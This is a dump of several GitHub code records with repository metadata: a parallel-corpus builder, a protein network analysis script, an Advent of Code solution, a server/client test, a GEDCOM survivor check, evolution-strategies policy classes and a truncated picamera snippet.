NFKD\n # Normalisasi Kapital (menjadi huruf kecil)\n return unicodedata.normalize('NFKD', text).lower()\n\ndef split_to_tokens(text: str):\n \"\"\" Algoritma: Pisah pasang teks menjadi pasang teks token \"\"\"\n # Pisah masing-masing teks menjadi token dengan spasi\n text_list = text.strip().split(' ')\n text_list_split = []\n # Ambil satu token\n for word in text_list:\n postfixs = []\n # Ada tanda baca prefix atau suffix?\n while len(word) > 0:\n if word[0] in PREFIX_PUNCTUATIONS:\n # Pisahkan tanda baca (prefix)\n text_list_split.append(word[0])\n word = word[1:]\n elif word[-1] in SUFFIX_PUNCTUATIONS:\n # Pisahkan tanda baca (suffix)\n postfixs.append(word[-1])\n word = word[:-1]\n else:\n text_list_split.append(word)\n break\n text_list_split.extend(reversed(postfixs))\n return text_list_split\n\ndef index_tokens(teks, list_tokens, datamem_teks, datamem_token):\n \"\"\" Algoritma: Proses data pasang teks token \"\"\"\n # Input: Inisialisasi daftar teks token ID\n teks_token = []\n # Ambil satu token\n for word in list_tokens:\n # token ada di tb_token?\n if word not in datamem_token:\n # Simpan token ke tb_token\n datamem_token[word] = len(datamem_token)\n # Ambil ID token, simpan ke daftar teks token ID\n token_id = datamem_token[word]\n teks_token.append((token_id, []))\n\n # Ambil permutasi pasangan dari daftar teks token ID\n for i, ta in enumerate(teks_token):\n neighbors_list = ta[1]\n for tb in teks_token[i+1:]:\n # Simpan data jarak teks token (neighbours)\n neighbors_list.append(tb[0])\n\n # Simpan daftar teks token ID ke tb_teks_token\n # Simpan ke tb_neighbour_teks_token\n datamem_teks.append((teks, teks_token))\n\ndef build_teks():\n \"\"\"\n Algoritma: Program Utama Konstruksi Parallel Corpus\n dengan tokenisasi dasar dari database Kamus\n \"\"\"\n # Input: Database dari Konstruksi Kamus\n con = sqlite3.connect(INPUT_DB_PATH)\n con.row_factory = sqlite3.Row\n cur = con.cursor()\n\n cur.execute('SELECT * FROM tb_kosakata')\n # Ambil satu kosakata\n for kosakata_index, kosakata in enumerate(cur.fetchall()):\n # Teknis: Muat data tb_contoh untuk kosakata ini\n cur.execute('SELECT * FROM tb_contoh WHERE kosakata_id = ?', (kosakata['id'],))\n contoh_list, kosakata_text = cur.fetchall(), kosakata['word']\n print(f'Processing {kosakata_index}: {kosakata_text}'.ljust(40, ' '), end='\\r')\n try:\n contoh_list_indexed = generate_indexed_contoh(contoh_list)\n # Ambil satu pasangan contoh dalam kosakata\n for index, (contoh_mad, contoh_ind) in enumerate(contoh_list_indexed):\n # Pasangan pertama dalam kosakata?\n # Kosakata mempunyai keterangan linguistik?\n if kosakata['keterangan'] == \"Ling\" and index == 0:\n # Teknis: Lewati contoh ini\n continue\n text_list = [None, None]\n # Teknis: Muat data tb_teks untuk contoh ini\n cur.execute('SELECT * FROM tb_teks WHERE contoh_id = ?', (contoh_mad['id'],))\n text_list[0] = cur.fetchall()\n cur.execute('SELECT * FROM tb_teks WHERE contoh_id = ?', (contoh_ind['id'],))\n text_list[1] = cur.fetchall()\n text_list_indexed = []\n\n # Mempunyai keterangan pantun atau parmina?\n if contoh_mad['keterangan'] == 'Ptn' or contoh_mad['keterangan'] == 'Krm':\n # Subproses: Proses teks secara urut\n text_list_indexed = distribute_sequential(text_list)\n # Mempunyai keterangan peribahasa atau kiasan?\n elif contoh_mad['keterangan'] == 'Pb' or contoh_mad['keterangan'] == 'Ki':\n # Subproses: Proses teks secara peribahasa\n text_list_indexed = distribute_proverbs(text_list)\n else:\n # Subproses: Proses teks secara paralel\n text_list_indexed = distribute_parallel(text_list)\n\n # Teknis: Perulangan ini mewakili satu pasang teks dalam masing-masing subproses\n for index, (teks_mad, teks_ind) in enumerate(text_list_indexed):\n for lang, teks in [('MAD', teks_mad), ('IND', teks_ind)]:\n # Subproses: Normalisasi pasang teks\n nteks = normalize_text(teks)\n # Subproses: Pisah pasang teks menjadi pasang teks token\n tokens = split_to_tokens(nteks)\n # Simpan pasang teks ke tb_teks\n # Subproses: Proses data pasang teks token\n # Teknis: Yang disimpan pada tb_teks adalah teks setelah dinormalisasi\n index_tokens(nteks, tokens,\n datamem_teks_lang[lang],\n datamem_token_lang[lang])\n except:\n print(f'Error processing {kosakata_index}: {kosakata_text}')\n\ndef write_to_db():\n \"\"\" Proses: Simpan data tb_teks, tb_token, tb_teks_token, tb_neighbour_teks_token\"\"\"\n\n print('Writing to DB...'.ljust(40))\n\n # Teknis: Hapus Database lama jika ada\n if os.path.exists(OUTPUT_DB_PATH):\n os.remove(OUTPUT_DB_PATH)\n\n # Teknis: Buat Database baru\n con = sqlite3.connect(OUTPUT_DB_PATH)\n cur = con.cursor()\n with open(OUTPUT_SCHEMA_PATH, 'r', encoding='utf8') as f:\n cur.executescript(f.read())\n\n # Teknis: Struktur data {[index]: ID}\n datamem_tokenmaps = {'MAD': [], 'IND': []}\n SQL_TEKS_INSERT = 'INSERT INTO tb_teks (lang, text, \"index\") VALUES (?, ?, ?)'\n SQL_TOKEN_INSERT = 'INSERT INTO tb_token (lang, text, \"index\") VALUES (?, ?, ?)'\n SQL_TEKS_TOKEN_INSERT = 'INSERT INTO tb_teks_token (teks_id, token_id, \"index\") VALUES (?, ?, ?)'\n SQL_TEKS_TOKEN_NEIGHBOUR_INSERT = 'INSERT INTO tb_teks_token_neighbour (teks_id, token_id, ' + \\\n 'token_id_neighbour, distance) VALUES (?, ?, ?, ?)'\n\n try:\n # Teknis: Simpan data dari memori ke database\n for lang in ['MAD', 'IND']:\n datamem_token = datamem_token_lang[lang]\n datamem_tokenmap = datamem_tokenmaps[lang]\n datamem_tokenmap += [None] * (len(datamem_token))\n for token, index in datamem_token.items():\n # Teknis: Simpan pemetaan token dari index ke DB ID\n cur.execute(SQL_TOKEN_INSERT, (lang, token, index))\n datamem_tokenmap[index] = cur.lastrowid\n\n for lang in ['MAD', 'IND']:\n datamem_teks = datamem_teks_lang[lang]\n datamem_tokenmap = datamem_tokenmaps[lang]\n for index, (teks, teks_token) in enumerate(datamem_teks):\n cur.execute(SQL_TEKS_INSERT, (lang, teks, index))\n teks_id = cur.lastrowid\n for index, (token_index, neighbor_id_list) in enumerate(teks_token):\n token_id = datamem_tokenmap[token_index]\n cur.execute(SQL_TEKS_TOKEN_INSERT, (teks_id, token_id, index))\n for distance, neighbor_index in enumerate(neighbor_id_list):\n neighbor_id = datamem_tokenmap[neighbor_index]\n cur.execute(SQL_TEKS_TOKEN_NEIGHBOUR_INSERT,\n (teks_id, token_id, neighbor_id, distance))\n\n con.commit()\n except sqlite3.Error as er:\n print('SQLite error: %s' % (' '.join(er.args)))\n print(\"Exception class is: \", er.__class__)\n print('SQLite traceback: ')\n exc_type, exc_value, exc_tb = sys.exc_info()\n print(traceback.format_exception(exc_type, exc_value, exc_tb))\n\n# Teknis: Variabel database dalam memori sementara\n# Teknis: Struktur data:\n# {[index]: (teks, teks_token [(id int,\n# {[distance]: neighbor_id int})]}\ndatamem_teks_lang = {'IND': [], 'MAD': []}\n# Teknis: Struktur data: {[token]: index}\ndatamem_token_lang = {'IND': {}, 'MAD': {}}\n\ntry:\n build_teks()\nexcept KeyboardInterrupt:\n pass\nfinally:\n write_to_db()\n","repo_name":"willnode/skripsi_medaeng","sub_path":"4. Construction/build_parallel_corpus_base.py","file_name":"build_parallel_corpus_base.py","file_ext":"py","file_size_in_byte":10603,"program_lang":"python","lang":"id","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"23130461575","text":"from netprop.networks.randomization import randomize_network\nfrom netprop.networks.loaders import NetpropNetwork, MetaCovidHumanLoader, CombinedHumanCovidNetworkLoader\nfrom utils.new_file_loaders import CovToHumanMeta\nfrom crispr import get_huh_crispr, get_crispr_rankings\nfrom netprop.models import PropagationResultModel\nimport json\nfrom pathlib import Path\nimport matplotlib.pyplot as plt\nimport pandas as pd\nimport numpy as np\n\ndef gen_networks(human_ppi_path: str):\n # generate 101 (original + 100 randomized) of networks with different combinations of PPIs\n krogan_nw = CombinedHumanCovidNetworkLoader(human_ppi_path,\n \"/data/ppi/cov_to_human_ppi.cx\", \"/data/symbol_to_entrezgene\",\n merge_covid=False).load()\n full_metadata_nw = CovToHumanMeta(human_ppi_path,\n protein_interactions_path=\"/data/ppi/protein_interactome_translated.csv\",\n protein_cell_lines=\"all\", merged_covid=False).load()\n\n huh_crispr_set = get_huh_crispr('/data/huh7_crispr_translated.csv')\n krogan_crispr_scores = get_crispr_rankings('/data/crispr_screen.csv', \"/data/symbol_to_entrezgene\")\n\n\n norm_methods = [\"RPDN\", \"prop_1_from_all\", \"the other weird one I don't quite get yet (TM)\"]\n\n\n\ndef intersect_top_propagated_with_pvalue(results: list[str], k: int=50, output_file: str=None):\n sorted_results = sorted(results) #alphabatical sorting would place the files as minor-major all the way\n majorities = sorted_results[::2]\n minorities = sorted_results[1::2]\n names = [res.split(\"\\\\\")[-1].split(\"_majority\")[0] for res in majorities]\n res_dict = dict()\n for i in range(len(majorities)):\n major_res = PropagationResultModel.parse_file(majorities[i])\n major_res_top_propagated = sorted([n for n in major_res.nodes.keys()], key=lambda n: major_res.nodes[n].liquids[\"info\"], reverse=True)[:k]\n minor_res = PropagationResultModel.parse_file(minorities[i])\n minor_res_top_propagated = sorted([n for n in minor_res.nodes.keys()], key=lambda n: minor_res.nodes[n].liquids[\"info\"], reverse=True)[:k]\n intersection = set(major_res_top_propagated) & set(minor_res_top_propagated)\n if len(intersection)/k > 0:\n print(f\"{names[i]}: {len(intersection)/k}\")\n res_dict[names[i]] = len(intersection)/k\n\n if output_file:\n with open(output_file, 'w') as handler:\n json.dump(res_dict, handler, indent=4)\n\n\ndef get_p_value(num_proteins: int, sorted_intersection_scores: list[float]):\n root_folder = Path(r'D:\\data\\propagations\\stefan_cross_validation\\random_subgroups')\n folders = list((root_folder / f\"{num_proteins}\").glob(\"*\"))\n better_than_real = 0\n for folder in folders:\n with open(str(folder / \"detailed_intersection_data.json\"), 'r') as handler:\n folder_data = json.load(handler)\n chunk_scores = sorted([chunk[\"size\"] for chunk in folder_data[\"chunks\"].values()])\n # better_than_real += int(\n # sum(\n # [int(chunk_scores[i] >= sorted_intersection_scores[i]) for i in range(len(chunk_scores))]\n # ) >= 1\n # )\n # better_than_real += len([1 for i in range(len(chunk_scores)) if chunk_scores[i] > sorted_intersection_scores[i]])\n if sum(chunk_scores) > sum(sorted_intersection_scores):\n better_than_real += 1\n # return better_than_real / (len(sorted_intersection_scores) * len(folders))\n return better_than_real / len(folders)\n\n\n\ndef get_intersection_quality_metrics(root_folder: str):\n protein_map = {}\n for protein_folder in Path(root_folder).glob(\"*\"):\n protein_name = protein_folder.name\n with open(str(protein_folder / \"detailed_intersection_data.json\"), 'r') as handler:\n folder_data = json.load(handler)\n protein_map[protein_name] = sorted([chunk[\"size\"] for chunk in folder_data[\"chunks\"].values()])\n\n return protein_map\n\n\ndef get_protein_interactor_num(root_folder: str):\n protein_map = dict()\n for file in [str(f) for f in Path(f\"D:\\configurations\\stefan1\\specific_proteins\").glob(\"*.json\")]:\n protein_name = Path(file).name.split(\".\")[0].split(\"_\")[-1]\n with open(file, 'r') as handler:\n d = json.load(handler)\n size = len(d[\"prior_set\"][0][\"nodes\"]) + len(d[\"prior_set\"][1][\"nodes\"])\n print(f\"{file}: {size}\")\n protein_map[protein_name] = size\n return protein_map\n\n\ndef calc_protein_p_value(conf_root_folder: str, prop_root_folder: str):\n prot_to_num_interactors = get_protein_interactor_num(conf_root_folder)\n prot_to_intersection_metrics = get_intersection_quality_metrics(prop_root_folder)\n p_values = dict()\n for protein in prot_to_num_interactors:\n num_interactors = prot_to_num_interactors[protein]\n intersection_metric = prot_to_intersection_metrics[protein]\n p_values[protein] = get_p_value(num_interactors, intersection_metric)\n\n return p_values\n\n\n\ndef intersection_bar_plot(chunk_intersection_dict: dict[str, list[float]]):\n protein_names = []\n chunk_values = []\n\n # for k,v in chunk_intersection_dict.items():\n # protein_names.append(k)\n # for i in range(len(v)):\n # chunk_values[i].append(v[i])\n #\n # num_chunks = 5\n # for i in range(num_chunks):\n # for k, v in chunk_intersection_dict.items():\n\n for k, v in chunk_intersection_dict.items():\n protein_names.append(k)\n chunk_values.append(v)\n chunk_values_as_cols = list(np.array(chunk_values).T)\n d = {\"interactors of\": protein_names}\n for i in range(len(chunk_values_as_cols)):\n d[f\"random split {i}\"] = chunk_values_as_cols[i]\n # df = pd.DataFrame([protein_names] + chunk_values_as_cols,\n # columns=[\"interactors of\"] + [f\"chunk {i}\" for i in range(len(chunk_values_as_cols))])\n df = pd.DataFrame(d)\n ax = df.plot(x=\"interactors of\", y=[f\"random split {i}\" for i in range(len(chunk_values_as_cols))], kind=\"bar\")\n ax.set_ylabel(\"% intersection out of top 50\")\n plt.title(\"intersections of top scoring proteins when propagated from randomly split sets of interactors with covid proteins\")\n plt.show()\n\n","repo_name":"EtayLivne/netprop_analysis","sub_path":"scripts/file.py","file_name":"file.py","file_ext":"py","file_size_in_byte":6296,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"74364338453","text":"\"\"\"\nAuthor: Darren\nDate: 10/09/2021\n\nSolving https://adventofcode.com/2016/day/19\n\nSolution 6.\nThis is BY FAR the best of my six solutions.\nThis one uses the deque as a ready made linked list, much like solution 1.\nBut unlike solution 1, we never have to convert to a list to \n\nPart 1:\n Elves sat in a circle. Each elf brings 1 present.\n Start at elf 1, each elf steals all the presents from the elf to their left (CW).\n Remove elves that have no presents.\n Stop when one elf has all the presents.\n \n Implement using a deque, since this allows us to efficiently pop \"empty\" elves\n and supports a rotate method in order to replicate the circular group of elves.\n This way, we don't have to mess about with what happens when we reach the ends.\n Simply start with elf 1, take from elf 2, pop elf 2, \n then rotate left such that elf 2 is now at the beginning.\n Rinse and repeat until only 1 elf left.\n \n Takes < 2s.\n t(n) = O(n), i.e. linear performance.\n\nPart 2:\n\n\"\"\"\nimport logging\nimport os\nimport time\nfrom collections import deque\n\nSCRIPT_DIR = os.path.dirname(__file__) \nINPUT_FILE = \"input/input.txt\"\nSAMPLE_INPUT_FILE = \"input/sample_input.txt\"\n\nNUMBER_OF_ELVES = 10000\n# NUMBER_OF_ELVES = 3012210\n\ndef main():\n logging.basicConfig(level=logging.INFO, format=\"%(asctime)s:%(levelname)s:\\t%(message)s\")\n\n # Part 1 \n elves = deque(range(1, NUMBER_OF_ELVES+1))\n counter = 0 \n while len(elves) > 1: # Loop until only one elf left\n # We want to pop every other elf\n if counter % 2 != 0:\n elves.popleft() # Pop this elf, since they have 0 presents\n else:\n elves.rotate(-1) # Skip this elf. So the elf that was on the right is now first elf\n counter += 1\n \n logging.info(f\"Part 1: Winning elf is {elves[0]}\")\n \n # Part 2 \n elves = deque(range(1, NUMBER_OF_ELVES+1))\n counter = 0\n elf_opposite = len(elves) // 2 # initial position of elf that is opposite start\n elves.rotate(-elf_opposite) # Rotate until we reach the elf opposite\n while len(elves) > 1: # Loop until only one elf left\n elves.popleft() # Pop this elf (the one opposite)\n \n # Having just popped the elf that *was* opposite\n # we're now positioned at the elf that is now opposite, or the one before.\n # Remember that the elf that is opposite is either next, or next+1, \n # which alternates as the circle shrinks.\n if counter % 2 != 0:\n elves.rotate(-1) # Position CW by one additional place, every other pop.\n \n counter += 1\n \n logging.info(f\"Part 2: Winning elf is {elves[0]}\")\n\nif __name__ == \"__main__\":\n t1 = time.perf_counter()\n main()\n t2 = time.perf_counter()\n print(f\"Execution time: {t2 - t1:0.4f} seconds\")\n","repo_name":"derailed-dash/Advent-of-Code","sub_path":"src/AoC_2016/d19_elves_circle_deque_linked_list/elf_presents_circle_deque2.py","file_name":"elf_presents_circle_deque2.py","file_ext":"py","file_size_in_byte":2862,"program_lang":"python","lang":"en","doc_type":"code","stars":22,"dataset":"github-code","pt":"67"} +{"seq_id":"34214803017","text":"from server import ServerA\nfrom client import Client\n\nserver_a = ServerA()\nserver_a.start_async()\n\nwith Client(server_a.host, server_a.port) as c:\n c.send_text('hello server! ')\n c.send_text('jet another message! ')\n\nwith Client(server_a.host, server_a.port) as c:\n c.send_text('Even more messages.')\n c.send_text('jet another message! ')\n\nserver_a.stop()","repo_name":"ultradr3mer/server-client","sub_path":"aufgabe_abc.py","file_name":"aufgabe_abc.py","file_ext":"py","file_size_in_byte":367,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"26388896241","text":"'''\nus37\nList recent survivors\nList all living spouses and descendants of people in a GEDCOM file who died in the last 30 days\n'''\n\nimport datetime as dt\n\n\ndef check__died_in_30(dt_now, dt_death, name):\n if abs((dt_now-dt_death)).days < 30:\n return True\n else:\n return False\n\n\ndef list_died_in_30(indi):\n dt_now = dt.datetime.now()\n list_died_person = []\n\n for i in indi.values():\n if i.Death != 'NA':\n dt_death = dt.datetime.strptime(i.Death, '%d %b %Y')\n if check__died_in_30(dt_now, dt_death, i.Name):\n list_died_person.append(i.ID)\n return list_died_person\n\n\ndef List_recent_survivors(fm, indi):\n list_died_person = list_died_in_30(indi)\n\n for i in list_died_person:\n list_living_spouses = \"\"\n list_living_children = []\n if indi[i].Gender == \"F\":\n for j in indi[i].Spouse:\n if indi[fm[j].Husband_ID].Alive == \"True\":\n list_living_spouses = fm[j].Husband_Name\n\n for k in fm[j].Children:\n if indi[k].Alive == \"True\":\n list_living_children.append(indi[k].Name)\n\n elif indi[i].Gender == \"M\":\n for j in indi[i].Spouse:\n if indi[fm[j].Wife_ID].Alive == \"True\":\n list_living_spouses = fm[j].Wife_Name\n\n for k in fm[j].Children:\n if indi[k].Alive == \"True\":\n list_living_children.append(indi[k].Name)\n\n print(f\"ERROR: US37: {indi[i].Name} died in the last 30 days, living spouse {list_living_spouses}, living children {list_living_children}\")\n return f\"{indi[i].Name} died in the last 30 days, living spouse {list_living_spouses}, living children {list_living_children}\"","repo_name":"Tc-blip/SSW555","sub_path":"Project 03/US37.py","file_name":"US37.py","file_ext":"py","file_size_in_byte":1796,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"6835974949","text":"import logging\nimport pickle\n\nimport h5py\nimport numpy as np\nimport tensorflow as tf\n\ntry:\n from . import tf_util as U\nexcept:\n import tf_util as U\n\n\nimport json\nimport numpy as np\n\n\n\nGRID_SIZE = 10\n\nlogger = logging.getLogger(__name__)\n\nimport numpy as np\nimport logging\nimport pickle\n\nimport h5py\nimport numpy as np\nimport tensorflow as tf\nfrom random import sample as rsample\n\n# from . import tf_util as U\n\n\n\nlogger = logging.getLogger(__name__)\n\n\nclass Policy:\n def __init__(self, *args, **kwargs):\n self.args, self.kwargs = args, kwargs\n self.scope = self._initialize(*args, **kwargs)\n self.all_variables = tf.get_collection(tf.GraphKeys.VARIABLES, self.scope.name)\n\n self.trainable_variables = tf.get_collection(tf.GraphKeys.TRAINABLE_VARIABLES, self.scope.name)\n self.num_params = sum(int(np.prod(v.get_shape().as_list())) for v in self.trainable_variables)\n self._setfromflat = U.SetFromFlat(self.trainable_variables)\n self._getflat = U.GetFlat(self.trainable_variables)\n\n # logger.info('Trainable variables ({} parameters)'.format(self.num_params))\n for v in self.trainable_variables:\n shp = v.get_shape().as_list()\n logger.info('- {} shape:{} size:{}'.format(v.name, shp, np.prod(shp)))\n\n\n logger.info('All variables')\n for v in self.all_variables:\n shp = v.get_shape().as_list()\n logger.info('- {} shape:{} size:{}'.format(v.name, shp, np.prod(shp)))\n\n placeholders = [tf.placeholder(v.value().dtype, v.get_shape().as_list()) for v in self.all_variables]\n self.set_all_vars = U.function(\n inputs=placeholders,\n outputs=[],\n updates=[tf.group(*[v.assign(p) for v, p in zip(self.all_variables, placeholders)])]\n )\n\n def _initialize(self, *args, **kwargs):\n raise NotImplementedError\n\n def save(self, filename):\n assert filename.endswith('.h5')\n with h5py.File(filename, 'w') as f:\n for v in self.all_variables:\n f[v.name] = v.eval()\n # TODO: it would be nice to avoid pickle, but it's convenient to pass Python objects to _initialize\n # (like Gym spaces or numpy arrays)\n f.attrs['name'] = type(self).__name__\n f.attrs['args_and_kwargs'] = np.void(pickle.dumps((self.args, self.kwargs), protocol=-1))\n\n @classmethod\n def Load(cls, filename, extra_kwargs=None):\n with h5py.File(filename, 'r') as f:\n args, kwargs = pickle.loads(f.attrs['args_and_kwargs'].tostring())\n if extra_kwargs:\n kwargs.update(extra_kwargs)\n policy = cls(*args, **kwargs)\n policy.set_all_vars(*[f[v.name][...] for v in policy.all_variables])\n return policy\n\n def act(self, ob, random_stream=None):\n raise NotImplementedError\n\n def set_trainable_flat(self, x):\n self._setfromflat(x)\n\n def get_trainable_flat(self):\n return self._getflat()\n\n @property\n def needs_ob_stat(self):\n raise NotImplementedError\n\n def set_ob_stat(self, ob_mean, ob_std):\n raise NotImplementedError\n\n\nclass CatchPolicy_off_poliy(Policy):\n def _initialize(self, ob_space, ac_space, nonlin_type, hidden_dims, connection_type):\n self.ac_space = ac_space\n self.hidden_dims = hidden_dims\n self.connection_type = connection_type\n\n assert len(ob_space.shape) == len(self.ac_space.shape) == 1\n\n self.nonlin = {'tanh': tf.tanh, 'relu': tf.nn.relu, 'elu': tf.nn.elu}[nonlin_type]\n\n with tf.variable_scope(type(self).__name__) as scope:\n # Policy network\n o = tf.placeholder(tf.float32, [None] + list(ob_space.shape))\n a = self._make_net(o)\n self._act = U.function([o], a)\n return scope\n\n def _make_net(self, o):\n # Process observation\n if self.connection_type == 'ff':\n x = o\n for ilayer, hd in enumerate(self.hidden_dims):\n x = self.nonlin(U.dense(x, hd, 'l{}'.format(ilayer), U.normc_initializer(1.0)))\n else:\n raise NotImplementedError(self.connection_type)\n\n # Map to action\n scores = U.dense(x, 3, 'out', U.normc_initializer(0.01))\n # scores_nab = tf.reshape(scores, [-1, 1, 3])\n # aidx_na = tf.argmax(scores_nab, 2) # 0 ... num_bins-1\n #a = tf.to_float(scores)\n #sft = tf.nn.softmax(scores)\n\n return tf.to_float(scores)\n\n def initialize_from(self, filename, ob_stat=None):\n \"\"\"\n Initializes weights from another policy, which must have the same architecture (variable names),\n but the weight arrays can be smaller than the current policy.\n \"\"\"\n with h5py.File(filename, 'r') as f:\n f_var_names = []\n f.visititems(lambda name, obj: f_var_names.append(name) if isinstance(obj, h5py.Dataset) else None)\n assert set(v.name for v in self.all_variables) == set(f_var_names), 'Variable names do not match'\n\n init_vals = []\n for v in self.all_variables:\n shp = v.get_shape().as_list()\n f_shp = f[v.name].shape\n assert len(shp) == len(f_shp) and all(a >= b for a, b in zip(shp, f_shp)), \\\n 'This policy must have more weights than the policy to load'\n init_val = v.eval()\n # ob_mean and ob_std are initialized with nan, so set them manually\n if 'ob_mean' in v.name:\n init_val[:] = 0\n init_mean = init_val\n elif 'ob_std' in v.name:\n init_val[:] = 0.001\n init_std = init_val\n # Fill in subarray from the loaded policy\n init_val[tuple([np.s_[:s] for s in f_shp])] = f[v.name]\n init_vals.append(init_val)\n self.set_all_vars(*init_vals)\n\n if ob_stat is not None:\n ob_stat.set_from_init(init_mean, init_std, init_count=1e5)\n\n\n\n # === Rollouts/training ===\n\n def rollout(self, env, *, render=False, timestep_limit=None, save_obs=False, random_stream=None):\n \"\"\"\n If random_stream is provided, the rollout will take noisy actions with noise drawn from that stream.\n Otherwise, no action noise will be added.\n \"\"\"\n env_timestep_limit = GRID_SIZE - 2\n timestep_limit = env_timestep_limit if timestep_limit is None else min(timestep_limit, env_timestep_limit)\n\n\n trajWeightedReards = []\n for i in range(40):\n traj = env.get_trajectory()\n percOfSame = 0.\n\n weightedReward = 0\n for step_no in range(timestep_limit):\n ob, teacherAction, rew, teacherAcDistr = traj[step_no]\n ac = self.act(ob[None], random_stream=random_stream)[0]\n\n polAcDistr = np.array(ac)\n\n if np.argmax(polAcDistr) == teacherAction:\n percOfSame+=1.\n\n weightedReward += (percOfSame/ (step_no + 1))* rew\n\n trajWeightedReards.append(weightedReward)\n\n return np.array([np.mean(trajWeightedReards)]), timestep_limit\n\n\n\n def act(self, ob, random_stream=None):\n return self._act(ob)\n\n @property\n def needs_ob_stat(self):\n return False\n\n @property\n def needs_ref_batch(self):\n return False\n\n\n\nclass catcher():\n def __init__(self):\n #self.memory = pickle.load(open('/home/alexey/experiments/evolution-strategies-starter-master/es_distributed/memoryList.pickle', 'rb'))\n\n self.observation_space = np.zeros((GRID_SIZE, GRID_SIZE)).ravel()\n self.action_space = np.array([2])\n\n def step(self, ac):\n return self.ep.send(ac)\n\n\n def reset(self):\n self.ep = episode()\n S, won, _, _ = self.ep.__next__()\n return S\n\n\nclass CatchPolicy(Policy):\n def _initialize(self, ob_space, ac_space, nonlin_type, hidden_dims, connection_type):\n self.ac_space = ac_space\n self.hidden_dims = hidden_dims\n self.connection_type = connection_type\n\n assert len(ob_space.shape) == len(self.ac_space.shape) == 1\n\n self.nonlin = {'tanh': tf.tanh, 'relu': tf.nn.relu, 'elu': tf.nn.elu}[nonlin_type]\n\n with tf.variable_scope(type(self).__name__) as scope:\n # Policy network\n o = tf.placeholder(tf.float32, [None] + list(ob_space.shape))\n a = self._make_net(o)\n self.o = o\n self.a = a\n self._act = U.function([o], a)\n return scope\n\n def _make_net(self, o):\n # Process observation\n if self.connection_type == 'ff':\n x = o\n for ilayer, hd in enumerate(self.hidden_dims):\n x = self.nonlin(U.dense(x, hd, 'l{}'.format(ilayer), U.normc_initializer(1.0)))\n else:\n raise NotImplementedError(self.connection_type)\n\n # Map to action\n scores = U.dense(x, 3, 'out', U.normc_initializer(0.01))\n #scores_nab = tf.reshape(scores, [-1, 1, 3])\n #aidx_na = tf.argmax(scores_nab, 2) # 0 ... num_bins-1\n\n\n #a = tf.to_float(scores)\n #sft = tf.nn.softmax(scores)\n\n return tf.to_float(scores)\n\n def initialize_from(self, filename, ob_stat=None):\n \"\"\"\n Initializes weights from another policy, which must have the same architecture (variable names),\n but the weight arrays can be smaller than the current policy.\n \"\"\"\n with h5py.File(filename, 'r') as f:\n f_var_names = []\n f.visititems(lambda name, obj: f_var_names.append(name) if isinstance(obj, h5py.Dataset) else None)\n assert set(v.name for v in self.all_variables) == set(f_var_names), 'Variable names do not match'\n\n init_vals = []\n for v in self.all_variables:\n shp = v.get_shape().as_list()\n f_shp = f[v.name].shape\n assert len(shp) == len(f_shp) and all(a >= b for a, b in zip(shp, f_shp)), \\\n 'This policy must have more weights than the policy to load'\n init_val = v.eval()\n # ob_mean and ob_std are initialized with nan, so set them manually\n if 'ob_mean' in v.name:\n init_val[:] = 0\n init_mean = init_val\n elif 'ob_std' in v.name:\n init_val[:] = 0.001\n init_std = init_val\n # Fill in subarray from the loaded policy\n init_val[tuple([np.s_[:s] for s in f_shp])] = f[v.name]\n init_vals.append(init_val)\n self.set_all_vars(*init_vals)\n\n if ob_stat is not None:\n ob_stat.set_from_init(init_mean, init_std, init_count=1e5)\n\n\n\n # === Rollouts/training ===\n\n def rollout(self, env, *, render=False, timestep_limit=None, save_obs=False, random_stream=None):\n \"\"\"\n If random_stream is provided, the rollout will take noisy actions with noise drawn from that stream.\n Otherwise, no action noise will be added.\n \"\"\"\n #env_timestep_limit = env.spec.tags.get('wrapper_config.TimeLimit.max_episode_steps')\n #timestep_limit = env_timestep_limit if timestep_limit is None else min(timestep_limit, env_timestep_limit)\n timestep_limit = GRID_SIZE\n rews = []\n t = 0\n if save_obs:\n obs = []\n ob = env.reset()\n for _ in range(timestep_limit):\n ac_scores = self.act(ob[None], random_stream=random_stream)[0]\n if save_obs:\n obs.append(ob)\n ob, rew, done, _ = env.step(np.argmax(ac_scores))\n rews.append(rew)\n t += 1\n if render:\n env.render()\n if done:\n break\n rews = np.array(rews, dtype=np.float32)\n if save_obs:\n return rews, t, np.array(obs)\n\n return rews, t\n\n\n\n def act(self, ob, random_stream=None):\n return self._act(ob)\n\n @property\n def needs_ob_stat(self):\n return False\n\n @property\n def needs_ref_batch(self):\n return False\n\n\ndef episode():\n \"\"\"\n Coroutine of episode.\n\n Action has to be explicitly send to this coroutine.\n \"\"\"\n x, y, z = (\n np.random.randint(0, GRID_SIZE), # X of fruit\n 0, # Y of dot\n np.random.randint(1, GRID_SIZE - 1) # X of basket\n )\n while True:\n X = np.zeros((GRID_SIZE, GRID_SIZE)) # Reset grid\n X[y, x] = 1. # Draw fruit\n bar = range(z - 1, z + 2)\n X[-1, bar] = 1. # Draw basket\n\n # End of game is known when fruit is at penultimate line of grid.\n # End represents either a win or a loss\n end = int(y >= GRID_SIZE - 2)\n rew = 0\n if end and x in bar:\n rew = 1000\n if end and x not in bar:\n rew = -1000\n if end and x == bar[1]:\n rew = 1500\n\n move = yield X.ravel(), rew, end, None\n if end:\n break\n z = np.min([np.max([z + move - 1, 1]), GRID_SIZE - 2])\n y += 1\n\n\n\n\n","repo_name":"Alexey-Ignatov/es_rl_experiments","sub_path":"evolution-strategies-starter-master/es_distributed/policies.py","file_name":"policies.py","file_ext":"py","file_size_in_byte":13185,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"67"} +{"seq_id":"11057566728","text":"import io\nimport time\nimport picamera\nimport cv2\nimport numpy\nfrom PIL import Image\n\ndef outputs():\n\tstream = io.BytesIO()\n\tfor i in range(40):\n\t\t# This returns the stream for the camera to capture to\n\t\tyield stream\n\t\t# Once the capture is complete, the loop continues here\n\t\t# (read up on generator functions in Python to understand\n\t\t# the yield statement). Here you could do some processing\n\t\t# on the image...\n\t\t#stream.seek(0)\n\t\timg = Image.open(stream)\n\t\tmat_array = numpy.array(img)\n\t\tprint(i)\n\t\t#cv2.imshow(\"testFPS\",mat_array)\n\t\t\n\t\t# Finally, reset the stream for the next capture\n\t\tstream.seek(0)\n\t\tstream.truncate()\n\nwith picamera.PiCamera() as 